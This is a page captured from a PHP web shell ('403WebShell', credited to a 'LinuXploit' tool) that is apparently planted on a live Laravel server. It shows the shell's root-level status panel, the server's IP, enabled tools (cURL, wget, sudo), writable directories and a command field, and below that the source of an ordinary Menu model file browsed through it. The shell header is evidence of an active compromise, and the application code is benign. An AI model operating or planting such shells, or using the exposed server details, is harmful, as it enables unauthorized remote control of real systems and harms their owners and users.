Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/Menu.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\DB;

class Menu extends Model
{
    use HasFactory;
    protected $fillable = ['code', 'name', 'icon', 'url'];


    public static function getRoleColumns($query)
    {
        return $query->select("menus.menu", 'can_create', 'can_read', 'can_update', 'can_delete', 'can_print')
            ->leftjoin('role_accesses', function ($q) {
                $q->on('role_accesses.menu_id', '=', 'menus.id');
            });
    }


    public static function GetMenus($roleId = null)
    {
        // if($role_type == "ADMIN" ){
        //     $role_type = "ADMIN";
        // }
        $query = Menu::where('status', '=', "ACTIVE")
            ->where("menu_for", "ADMIN")
            ->orderBy('menus.ordering', 'asc');

        if (!$roleId) {
            $query = $query->select(
                "menus.id",
                "menus.menu",
                'menus.can_create',
                'menus.can_read',
                'menus.can_update',
                'menus.can_delete',
                'menus.can_print',
                "menus.parent_menu_id",
                "menus.ordering"
            );
        } else {

            $query = $query->join('role_accesses', function ($q) {
                $q->on('role_accesses.menu_id', '=', 'menus.id');
            })
                ->when($roleId, function ($q) use ($roleId) {
                    $q->where("role_accesses.role_id", $roleId);
                });

            $query = $query->select(
                "menus.id",
                "menus.menu",
                DB::RAW('(role_accesses.can_create) AS can_create'),
                DB::RAW('(role_accesses.can_read) AS can_read'),
                DB::RAW('(role_accesses.can_update) AS can_update'),
                DB::RAW('(role_accesses.can_delete) AS can_delete'),
                DB::RAW('(role_accesses.can_print) AS can_print'),
                "menus.parent_menu_id",
                "menus.ordering"
            );
        }
        // dump(\Str::replaceArray("?", $query->getBindings(), $query->toSql()));
        $list = $query->get();
        $collection = new Collection($list);
        $main_menus = $collection->where('parent_menu_id', '=', 0);
        foreach ($main_menus as $main_menu) {
            $submenus = $collection->where('parent_menu_id', '=', $main_menu->id);
            $main_menu->submenus = $collection->where('parent_menu_id', '=', $main_menu->id)->values()->all();
            if (!empty($submenus) && count($submenus) > 0) {
                foreach ($submenus as $submenu) {
                    $submenu->submenus = $collection->where('parent_menu_id', '=', $submenu->id)->values()->all();
                }
            }
        }

        return $main_menus->values()->all();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit